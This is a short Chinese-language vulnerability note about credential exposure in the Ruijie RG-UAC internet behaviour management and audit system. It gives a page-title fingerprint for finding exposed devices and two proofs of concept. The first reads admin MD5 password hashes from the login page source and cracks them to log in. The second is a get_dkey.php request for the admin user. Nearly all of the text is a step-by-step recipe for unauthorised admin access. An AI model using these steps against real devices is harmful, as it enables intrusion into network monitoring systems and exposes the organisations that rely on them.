锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露,可以间接获取用户账号密码信息登录后台
锐捷RG-UAC统一上网行为管理审计系统
title="RG-UAC登录页面"
poc1
来到登录页面
按F12查看源码,可以发现账号和密码的md5形式
解密md5得到密码后即可登录系统
POC2
https://127.0.0.1/get_dkey.php?user=admin